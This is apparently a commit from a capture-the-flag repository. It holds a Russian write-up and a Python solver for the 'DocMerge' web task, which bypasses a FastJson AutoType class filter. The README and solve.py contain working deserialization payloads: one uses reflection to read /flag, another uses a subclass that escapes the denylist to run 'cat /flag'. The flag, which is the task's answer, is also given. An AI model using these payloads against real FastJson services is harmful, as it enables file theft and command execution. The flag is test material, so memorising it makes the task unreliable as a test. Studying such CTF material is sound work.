Init. Commit

This commit is contained in:
Caplag
2026-09-17 00:50:07 +03:00
commit 880d8698d6
115 changed files with 7611 additions and 0 deletions
+64
View File
@@ -0,0 +1,64 @@
<h1 align="center">DocMerge</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/difficulty-hard%2B-critical" alt="hard+"/>
</p>
DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать `/flag`.
## Решение
Запрашиваем `/api/plugins`. В реестре три интересных класса из `com.docmerge.plugins`: активные `ScriptFilter` и `LegacyExecutorV2`, а также отключённый `LegacyExecutor`.
Тело `POST /api/merge` проходит через `JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType)`. Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида `{"@type":"<имя класса>"}` и сравниваем ответы:
| Класс | Ответ фильтра | Вывод |
|---|---|---|
| `java.lang.Runtime` | `exact denylist match` | Есть запрет по точному имени |
| `com.docmerge.plugins.NoSuchPlugin` | Пакет разрешён, класс не найден | Имя из пакета `com.docmerge.plugins` проходит фильтр |
| `java.io.File` | `outside allowlist` | Чужие пакеты отсекаются |
### Чтение через ScriptFilter
`ScriptFilter` вызывает через reflection публичный статический метод с аргументом `String`. Его список запретов закрывает `Runtime` и `ProcessBuilder`, но пропускает `com.docmerge.util.PreviewUtil.readFile(String)`.
Создаём этот фильтр внутри задания:
```bash
curl -sS http://<host>:18112/api/merge \
-H 'Content-Type: application/json' \
--data '{
"title":"quarterly-report",
"documents":["doc one","doc two"],
"renderer":{"template":"default","filters":[
{"@type":"com.docmerge.plugins.ScriptFilter",
"className":"com.docmerge.util.PreviewUtil",
"methodName":"readFile",
"argument":"/flag"}
]}
}'
```
Класс разрешён, метод доступен. В поле `render` появляется `filter output:` с содержимым `/flag`.
### Выполнение через LegacyExecutorV2
`LegacyExecutorV2` наследует `LegacyExecutor`, но denylist сравнивает имена через `equals`. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный `setCommand` выполняет shell-команду уже при десериализации:
```json
{
"title":"t",
"renderer":{"filters":[
{"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
]}
}
```
Этот запрос к тому же `/api/merge` возвращает флаг как `legacy output`. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета `com.docmerge.plugins`, блокируя лишь отдельные имена. `ScriptFilter` и `LegacyExecutorV2` под эти запреты не попадают.
[Солвер](solve/solve.py) проверяет плагины и фильтр, затем пробует `ScriptFilter`, а при отсутствии флага переходит к `LegacyExecutorV2`.
## Флаг
`CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}`
+119
View File
@@ -0,0 +1,119 @@
#!/usr/bin/env python3
"""Автоматическое решение таска DocMerge (только stdlib).
Запуск: python solve.py http://localhost:18112
"""
import json
import re
import sys
import urllib.error
import urllib.request
FLAG_RE = re.compile(r"CAPLAG\{[^}]*\}")
def post_merge(base, payload):
data = json.dumps(payload).encode()
req = urllib.request.Request(
base + "/api/merge", data=data,
headers={"Content-Type": "application/json"}, method="POST")
try:
with urllib.request.urlopen(req, timeout=20) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def get(base, path):
try:
with urllib.request.urlopen(base + path, timeout=20) as resp:
return resp.status, resp.read().decode("utf-8", "replace")
except urllib.error.HTTPError as e:
return e.code, e.read().decode("utf-8", "replace")
def fingerprint(base):
"""Три зонда: denylist / класс вне allowlist / разрешённый пакет."""
probes = [
("denylist: java.lang.Runtime",
{"@type": "java.lang.Runtime"}),
("allowlist, но класса нет: com.docmerge.plugins.NoSuchPlugin",
{"@type": "com.docmerge.plugins.NoSuchPlugin"}),
("вне allowlist: java.io.File",
{"@type": "java.io.File"}),
]
for label, payload in probes:
status, body = post_merge(base, payload)
marker = ""
try:
marker = json.loads(body).get("message", "")[:120]
except ValueError:
marker = body[:120]
print(f"[*] probe ({label}) -> HTTP {status}: {marker}")
def exploit_script_filter(base):
"""Основная цепочка: ScriptFilter -> reflection -> PreviewUtil.readFile('/flag')."""
payload = {
"title": "quarterly-report",
"documents": ["doc one", "doc two"],
"renderer": {
"template": "default",
"filters": [
{
"@type": "com.docmerge.plugins.ScriptFilter",
"className": "com.docmerge.util.PreviewUtil",
"methodName": "readFile",
"argument": "/flag",
}
],
},
}
return post_merge(base, payload)
def exploit_legacy_executor_v2(base):
"""Запасная цепочка: наследник denylist-класса проходит equals-проверку."""
payload = {
"title": "quarterly-report",
"renderer": {
"filters": [
{
"@type": "com.docmerge.plugins.LegacyExecutorV2",
"command": "cat /flag",
}
]
},
}
return post_merge(base, payload)
def main():
base = (sys.argv[1] if len(sys.argv) > 1 else "http://localhost:18112").rstrip("/")
print(f"[*] target: {base}")
status, body = get(base, "/api/plugins")
print(f"[*] GET /api/plugins -> HTTP {status}: {body[:200]}")
fingerprint(base)
print("[*] exploit #1: ScriptFilter -> PreviewUtil.readFile('/flag')")
status, body = exploit_script_filter(base)
match = FLAG_RE.search(body)
if match:
print(f"[+] flag: {match.group(0)}")
return
print(f"[-] exploit #1 failed (HTTP {status}), trying exploit #2: LegacyExecutorV2")
status, body = exploit_legacy_executor_v2(base)
match = FLAG_RE.search(body)
if match:
print(f"[+] flag: {match.group(0)}")
return
print(f"[-] exploit #2 failed (HTTP {status}): {body[:300]}")
sys.exit(1)
if __name__ == "__main__":
main()